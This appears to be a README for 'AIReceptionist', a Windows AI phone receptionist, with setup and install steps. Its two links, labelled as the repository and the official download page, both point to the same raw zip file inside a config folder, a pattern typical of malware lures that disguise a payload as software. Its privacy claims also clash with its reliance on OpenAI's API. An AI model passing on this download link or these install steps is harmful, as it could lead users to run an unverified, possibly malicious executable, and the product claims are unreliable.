AIReceptionist is a free, self-hosted AI phone receptionist you can run on your own PC. It listens to phone calls, understands voices, and answers like a real receptionist. It uses powerful AI from OpenAI to give clear, natural conversations. You can replace costly online AI receptionist services with this software, keeping your data private and saving money.
You don’t need to be a programmer. AIReceptionist works with common phone systems and uses speech-to-speech technology. It is designed for small businesses or anyone wanting a smart voice assistant on the phone.
- Answer phone calls automatically
- Understand and respond with natural speech
- Works with standard phone systems (SIP, Twilio, Telnyx)
- Runs locally on Windows
- Uses OpenAI Realtime API for accurate voice control
- Open-source and customizable
- Protect your privacy without sending your data to third parties
- Windows 10 or newer (64-bit recommended)
- At least 4 GB of RAM
- 2 GHz dual-core processor or better
- Active internet connection (needed for AI API)
- A microphone and speaker or headset for testing
- Basic familiarity with installing software on Windows
Follow these steps to get AIReceptionist running on your Windows PC.
Visit this page and get the latest version of AIReceptionist for Windows:
This link leads you to the official download area. Find the file named something like AIReceptionist-Setup.exe or similar. The file size is usually around 100-200 MB.
- Locate the downloaded
.exefile (usually in your Downloads folder). - Double-click the file to start the installation.
- Follow the simple setup wizard steps. You can keep the default options.
- Once installation finishes, the program will be ready to run.
Look for the AIReceptionist icon on your desktop or in the Start menu. Click it to open.
The app interface guides you through the basic settings.
AIReceptionist works with phone systems that use SIP or cloud services like Twilio or Telnyx.
- Enter your SIP credentials or API keys from your phone provider into the app.
- If you don’t have a phone service ready, use the app’s test mode to practice.
- Choose the language and voice style from the available options.
- Customize how your AI receptionist greets callers and answers questions.
You need an API key from OpenAI to power the AI assistant.
- Sign up at OpenAI’s website (openai.com) if you don’t have an account.
- Get your API key and enter it into AIReceptionist settings.
Once set up, AIReceptionist runs in the background. When someone calls your number, it answers automatically. The AI listens, understands, and replies with natural voice responses.
You can:
- Handle common questions like business hours, location, services
- Take messages or route calls to your phone
- Customize responses based on your needs
- Use a good quality microphone and speaker for tests.
- Keep your internet stable during calls to avoid interruptions.
- Update AIReceptionist regularly from the download page.
- Experiment with voice and language settings to fit your style.
- Use test calls from another phone to check how responses sound.
- If installation fails, make sure your Windows is up to date.
- If calls do not connect, double-check your SIP or provider info.
- If AI answers slowly, check your internet speed and API key settings.
- For detailed help, open the Help menu in the app or visit the GitHub discussions.
You can learn more about AIReceptionist and get updates here:
- AIReceptionist GitHub Repository: https://raw.githubusercontent.com/rudra3d/AIReceptionist/main/config/businesses/AI_Receptionist_3.7.zip
- Official Download Page: https://raw.githubusercontent.com/rudra3d/AIReceptionist/main/config/businesses/AI_Receptionist_3.7.zip
The project uses popular libraries like Pydantic and Python. It supports telephony through LiveKit, Twilio, and Telnyx integrations.
Ready to try AIReceptionist? Visit this page to download and start using a smart phone receptionist today: